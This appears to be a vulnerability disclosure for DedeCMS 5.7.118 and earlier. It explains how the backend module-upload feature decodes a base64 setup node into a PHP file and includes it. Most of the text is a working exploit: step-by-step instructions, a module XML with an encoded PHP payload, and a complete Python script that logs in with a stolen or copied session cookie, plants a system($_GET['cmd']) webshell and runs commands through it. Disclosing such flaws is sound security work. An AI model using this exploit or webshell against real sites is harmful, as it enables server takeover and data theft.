BUG_Author: 0ps
Affected Version: DedeCMS ≤ 5.7.118
Vendor: 织梦 (DedeCMS) 官方网站 - 内容管理系统 - 上海卓卓网络科技有限公司
Software: 织梦 (DedeCMS) 官方网站 - 内容管理系统 - 上海卓卓网络科技有限公司
Vulnerability Files:
uploads/dede/module_upload.phpuploads/dede/module_main.phpuploads/include/dedemodule.class.php
- The backend module management allows uploading of custom module XML files.
- During installation, the
<setup>node is base64-decoded and written into a file nameddata/module/<hash>-setup.php, which is then executed via theinclude()function, resulting in arbitrary code execution.
-
Log in to the backend:
/dede/login.php -
Go to:
模块管理 -> 上传模块 -
Upload a custom module XML (select "正常的模块包" for the file type):
-
Customize a hash value, for example: 21232f297a57a5a743894a0e4a801fc3
-
Define injected code
PD9waHANCmV4ZWMoIndob2FtaSIsICRvdXRwdXQpOw0KcHJpbnRfcigkb3V0cHV0KTsNCj8+: -
<?php exec("whoami", $output); print_r($output); ?>
<module> <baseinfo> name=RCE team=0ps time=1700000000 email=a@b.c url=http://example.com hash=21232f297a57a5a743894a0e4a801fc3 indexname=AuditRCE indexurl=module_main.php ismember=0 autosetup=0 autodel=1 lang=utf-8 moduletype=soft </baseinfo> <systemfile> <setup> PD9waHANCmV4ZWMoIndob2FtaSIsICRvdXRwdXQpOw0KcHJpbnRfcigkb3V0cHV0KTsNCj8+ </setup> </systemfile> <modulefiles> </modulefiles> </module>
-
-
Click '安装' on the module details page to trigger setupstart
-
Click the '确定' button.
After completing the above five steps, accessing /data/module/21232f297a57a5a743894a0e4a801fc3-setup.php will trigger remote code execution.
import base64
import random
import requests
def b64(s: str) -> str:
return base64.b64encode(s.encode()).decode()
def build_xml(hashv: str, php_code: str) -> str:
return f"""<module>
<baseinfo>
name=TEST_CODE
team=0rays_0ps
time=1700000000
email=a@b.c
url=http://example.com
hash={hashv}
indexname=TEST_CODE
indexurl=module_main.php
ismember=0
autosetup=0
autodel=1
lang=utf-8
moduletype=soft
</baseinfo>
<systemfile>
<setup>
{b64(php_code)}
</setup>
</systemfile>
<modulefiles>
</modulefiles>
</module>
"""
def main():
target = "http://localhost:8088"
# Copy the Cookie after logging into the backend (key: PHPSESSID + DedeUserID/DedeLoginTime, etc.)
cookie_header = "PHPSESSID=xxxx; DedeUserID=1; DedeLoginTime=xxxx; ..." # TODO
# Fixed hash for easy access to landing files.
hashv = "21232f297a57a5a743894a0e4a801fc3"
# payload:
php_code = """<?php
system($_GET['cmd']);
?>"""
s = requests.Session()
s.headers.update({
"User-Agent": "Mozilla/5.0",
"Cookie": cookie_header,
})
# 1) upload XML
upload_url = f"{target}/dede/module_upload.php"
xml_content = build_xml(hashv, php_code)
files = {
"upfile": (f"{hashv}.xml", xml_content, "text/xml")
}
data = {
"action": "upload",
"filetype": "0",
"delhas": "1",
"imageField1.x": "42",
"imageField1.y": "5",
}
r = s.post(upload_url, data=data, files=files, timeout=15)
print("[+] upload status:", r.status_code)
# print(r.text)
# 2) GET setup page for sure that the module is recognized
setup_confirm_url = f"{target}/dede/module_main.php?action=setup&hash={hashv}"
r = s.get(setup_confirm_url, timeout=15)
print("[+] setup confirm status:", r.status_code)
# 3) POST setupstart to write the webshell to disk
setupstart_url = f"{target}/dede/module_main.php"
data2 = {
"hash": hashv,
"action": "setupstart",
"filelists": "",
"isreplace": "1",
"imageField1.x": str(random.randint(1, 50)),
"imageField1.y": str(random.randint(1, 50)),
}
r = s.post(setupstart_url, data=data2, timeout=15)
print("[+] setupstart status:", r.status_code)
# print(r.text)
# 4) visist webshell http://target/data/module/21232f297a57a5a743894a0e4a801fc3-setup.php?cmd=whoami
shell_url = f"{target}/data/module/{hashv}-setup.php?cmd=whoami"
r = s.get(shell_url, timeout=15)
print("[+] trigger status:", r.status_code)
print("----- output -----")
print(r.text[:2000])
if __name__ == "__main__":
main()